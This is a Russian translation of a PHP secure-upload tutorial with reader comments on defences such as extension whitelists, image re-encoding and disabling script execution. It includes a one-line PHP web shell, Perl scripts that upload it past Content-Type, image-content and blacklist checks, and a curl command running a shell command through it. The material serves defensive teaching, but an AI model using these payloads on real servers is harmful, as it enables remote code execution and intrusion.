Безопасная загрузка изображений на сервер. Часть первая

http://www.scanit.be/uploads/php-file-upload.pdf
  • Перевод
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip.

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):

<?php
 $uploaddir = 'uploads/'; // Relative path under webroot
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>

* This source code was highlighted with Source Code Highlighter.


Обычно пользователи будут загружать файлы, используя подобную форму:

<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data">
 Select the file to upload: <input type="file" name="userfile">
 <input type="submit" name="upload" value="upload">
</form>


* This source code was highlighted with Source Code Highlighter.


Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

<?php
system($_GET['command']);
?>


Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://localhost/upload1.php',
       Content_Type => 'form-data',
       Content => [userfile => ["shell.php", "shell.php"],],);

print $res->as_string();

* This source code was highlighted with Source Code Highlighter.


Этот скрипт использует libwwwperl, который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:

$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

<?php
 if($_FILES['userfile']['type'] != "image/gif") {
   echo "Sorry, we only allow uploading GIF images";
   exit;
 }
 $uploaddir = 'uploads/';
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>


* This source code was highlighted with Source Code Highlighter.


В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
   $res = $ua->request(POST 'http://localhost/upload2.php',
        Content_Type => 'form-data',
        Content => [userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter.


И вот что получится.

Запрос:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.

<?php
 $imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
 if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
  echo "Sorry, we only accept GIF and JPEG images\n";
  exit;
 }

 $uploaddir = 'uploads/';
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
 
 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>


* This source code was highlighted with Source Code Highlighter.


Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
        Content_Type => 'form-data',
        Content => [userfile => ["crocus.gif", "crocus.php", "Content-Type" => "image/gif"], ],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter.


Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

image

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "<? phpinfo() ?>" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

<?php
 $blacklist = array(".php", ".phtml", ".php3", ".php4");
 foreach ($blacklist as $item) {
  if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
   echo "We do not allow uploading PHP files\n";
   exit;
   }
  }

  $uploaddir = 'uploads/';
  $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

  if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
  } else {
   echo "File uploading failed.\n";
  }
?>

* This source code was highlighted with Source Code Highlighter.


Выражение preg_match ("/$item\$/i", $_FILES['userfile']['name']) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением .php, это приведет к ошибке:

Запрос:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY—

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files

Если мы загружаем файл с расширением .gif, то оно будет загружено:

Запрос:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.


Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

image

Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.

Наличие в загрузке файлов с расширением типа .php нужно проверять вообще в начале работы сайта, и если они есть сразу же их отбрасывать.

→ Вторая часть
Поделиться публикацией
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама
Комментарии 57
  • +1
    БезопасТная = false;
    Безопасная = true;
    • +5
      ==
      • +4
        общая лента = плохо
        личное сообщение(хабрапочта) = хорошо
      • 0
        Отличный цикл статей на очень актуальную проблему.
        Пракически каждый второй самописный проект с формой заливки изображения имеет подобные уязвимости, как это ни печально :(
        • НЛО прилетело и опубликовало эту надпись здесь
          • 0
            Причитайте вторую часть, там рассказано про это.
          • +3
            Если у изображения будет расширение php5 или какое-то другое неучтенное в blacklist, то скрипт успешно выполнится. Имхо намного безопаснее использовать whitelist: array('gif',jpg, ...)
            • –5
              Файлы с расширением php5 — выполняются? Первый раз слышу. Блеклист и whitelist — оба плохих решения, лучше всего как я сказал присуждать расширение файла автоматически, на основе его проверенного типа.
              • 0
                php5, php4, php3 исполняются — бывают всякие настройки
                • 0
                  Если вам нужно сделать загрузку картинок, то лучше использовать белый список расширений, если же просто загрузку аттачей, то блеклист исполняемых расширений.
                  • +1
                    добавляем в Apache2\conf\httpd.conf
                    AddType application/x-httpd-php .php5

                    Расширение может быть любым, хоть jpg и gif :)
                    • –1
                      tapin13, но если злоумышленник получит доступ к httpd.conf или хоты бы .htaccess, то можно считать, что безобасность сервера уже нарушена и его уже ничто не спасет. Поэтому стоит признать, что whitelist намного более безопасен.
                • 0
                  в мемориз :)
                  • +1
                    Вообще надо сразу делать resize картинки, в итоге если бы это был скрипт — будет ошибка, если ошибка — удаляем.
                    Даже если будет замаскирован скрипт, то «внутренности» файла сильно изменятся и соответсвенно скрипт не сработает.
                    Это так сказать самый простой вариант «борьбы»
                    • –1
                      Ну и почему минус?
                      Аргументы можно?
                      Я опущу ошибки в путях сохранения файла (по умолчанию надо «разбирать» get post cookie и проверять)

                      При resize файл изменяется содержимое файла — если скрипт, он просто не заработает, так как тоже подвергнется видоизменениям. Если функция resize выдаст ошибку — просто удаляем файл.

                      Ну и почему минус? Троллим?
                    • 0
                      объясните плиз, как проверять Content-Type не изображения (скажем .avi) в случае подмены MIME-типа?
                      • 0
                        Обычно с помощью тех модулей, которые отвечают за обработку данного типа. В случае avi это будет ffmpeg.

                        Хотя вроде я видел специальные библиотеки для вычисления MIME-типа файлов. Но может ошибаюсь.
                        • 0
                          ну в случае использования ffmpeg понятно — там можно тупо конвертировать файл при загрузке и вредоносный код перестает существовать.

                          интересно тогда знать, ну допустим подменил я mime-тип засунув пхпшный файл с раширеним .avi.
                          неужели его открытие в браузере вызовет исполнение php-кода?
                          • +1
                            Если .avi — нет, т.к. этот формат не будет выполним. А вот если ваш avi имеет расширение php то да, выполнится.
                            • 0
                              Не совсем. Злополучный IE пытается казаться умным и может выполнить код в image/jpeg например. Но это правда уязвимости другого рода — сервер *.avi файл не будет выполнять ;)
                            • 0
                              прочитал последний абзац второй главы и нашел ответ на вторую часть вопроса.
                              получается единственно безопасное для видео файлов, помимо всех проверок — конвертировать их при аплоаде.
                              • 0
                                Ресурсоемко. Достаточно изменить расширение.
                                • 0
                                  ясно. проверка на Content-Type не имеет особого смысла, если MIME все равно можно сделать любым. достаточно проверять на whitelist расширений.
                            • 0
                              Для PHP есть расширение «fileinfo», прекрасно работающее под *nix'ами
                          • +2
                            У вас там «загрузка фалов» в первом предложении.

                            Так выглядит фал
                            • +5
                              А можно просто запретить выполнение PHP-скриптов из директории uploads директивой в .htaccess:
                              php_flag engine off

                              Вот и все. Только, конечно, стоит запретить перезаписть .htaccess (;
                              • 0
                                Во второй части уже предлагали сделать что-то вроде этого.
                                • 0
                                  Спасибо, а как запретить и в поддиреториях этого каталога?
                                • 0
                                  Можно было бы просто написать — никогда не делайте инклуд пользовательских данных. Проблема, имхо, высосана из неправильного архитектурного решения.
                                  • +2
                                    Вчера нарыл: www.getid3.org/ getID3() is a PHP script that extracts useful information from MP3s & other multimedia file formats.

                                    Reads & parses (to varying degrees):
                                    * AIFF
                                    * APE tags: v1 and v2
                                    * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
                                    * AU
                                    * BMP
                                    * Bonk
                                    * CD-audio (*.cda)
                                    * FLAC
                                    * Flash
                                    * GIF
                                    * ID3v1 & ID3v1.1
                                    * ID3v2.4, ID3v2.3, ID3v2.2
                                    * ISO-9660 CD-ROM image (directory structure)
                                    * JPEG
                                    * LA (Lossless Audio)
                                    * LPAC
                                    * Lyrics 3: v1 & v2
                                    * Lyrics3 v1 & v2
                                    * MIDI
                                    * Monkey's Audio
                                    * MP3/MP2/MP1
                                    * MPC / Musepack
                                    * MPEG video
                                    * NSV (Nullsoft Streaming Video)
                                    * Ogg (Vorbis, OggFLAC, Speex)
                                    * OptimFROG
                                    * PNG
                                    * Quicktime
                                    * RealAudio, RealVideo
                                    * RIFF: AVI/WAV
                                    * Speex
                                    * VOC
                                    * VQF
                                    * WavPack
                                    * ZIP (directory structure)
                                    • 0
                                      классная штука, жаль не в тему
                                      • 0
                                        Вы точно читали топик и комментарии?
                                        В части определения типа загружаемого контента.
                                    • +1
                                      а зачем вообще использовать имя присланного файла, между прочим это тоже баг. move_uploaded_file перезапишет существующий файл с таким же именем. нужно генерить уникальное имя и цеплять к нему нужное расширение
                                      • 0
                                        выше описаные методы работать не будут, в случае kestas.kuliukas.com/JavaScriptImage/forumlogo2.png (Открываем в ИЕ), поэтому делаю ресайз пикчи на 1 пиксель, при желании можно потом на один пиксель увеличить, тогда JavaScript рушится.
                                      • 0
                                        Имя генерируем уникальное — в папке запрещаем выполнение скриптов. Вроде все.

                                        А как могут модифицировать изображение, что оно скриптом станет?

                                        По идее можно на сервере настроит, что хоть pdf как php обрабатываться станет.
                                        • –1
                                          мда, читаю это всё и думаю, толи php разработчики ничего не знают кроме php, толи они и самого php не знают.
                                          Ну да ладно, для начинающих сойдёт.
                                          • +1
                                            а к чему это было сказано? можно обьяснить свою мысль более подробно? мне например интересно Ваш ход мыслей в данном случае
                                          • 0
                                            помоему проще и надежней загружать картинки в папочку с .htaccess который запрещает доступ, и выдавать для просмотра картинки через скрипт…
                                            • 0
                                              Вопрос, а почему нельзя совсем просто поступить и допускать файлы только с расширениями из white list, не проверяя содержание? Ну и пусть внутри будет находиться вредоносный код, если файл будет с расширением .jpeg, например, то ведь всё равно ничего не выполнится?
                                              • –2
                                                ну а если тебе закинут в папочку htaccess с командой которая будет говорить выполнять jpeg как php? :)
                                                • 0
                                                  да, но я не принимаю файлы, не прошедшие через фильтр допускаемых расширений. Конечно можно директивы .htaccess спрятать в файле под расширением .gif, и он сохранится в папке для картинок, но исполняться-то всё равно не будет? Правильна ли логика?
                                                  • 0
                                                    htaccess с расширением jpg просто не сработает.
                                                • 0
                                                  хорошая статья. пойду нафиг выкорчую php на сервере.
                                                  • 0
                                                    Как видно, переводчик PHP игнорирует двоичные данных в…


                                                    интерпритатор, компилятор, интерпретирующий компилятор, пожалуйста, не обзывайте «переводчик»

                                                    а вообще по статье хорошо, но не все. что конкретно картинок касается, то нужно работать по схеме разрешено разрешенное, а не незапрещенное, тоесть пере конвертировать картинку
                                                    • 0
                                                      Это деятельность электронного переводчика. Спасибо, поправил.
                                                      • 0
                                                        поправили на «трансялтор PHP игнорирует двоичные данных» — шикарно! Перечитайте еще пару раз, на всякий случай :)
                                                        • 0
                                                          Это деятельность электронного переводчика. Спасибо, поправил.
                                                          • 0
                                                            Я же не зря сказал «перечитайте пару раз» ;) — трансялтор
                                                            • 0
                                                              Это уже моя невнимательность. Спасибо, поправил.
                                                      • 0
                                                        Вообще-то PHP — транслирующий интерпретатор, но никак не компилятор.
                                                        • 0
                                                          ну да, я согласен. просто с джавой щас работаю — смешалось немного
                                                      • +2
                                                        Нужен не блек лист, а список только разрешённых расширений.
                                                        • +1
                                                          абсолютно верно!
                                                          нужно не проверять запрещенные вещи, а пропускать разрешенные!
                                                        • 0
                                                          у меня в папке куда грузятся файлы, кроме общей проверки, еще .htaccess стоит, который всякие cgi скипты в плейн/текст превращает…
                                                          • НЛО прилетело и опубликовало эту надпись здесь
                                                            • 0
                                                              Вот так всегда. Пример защиты намекает на ее обход.

                                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.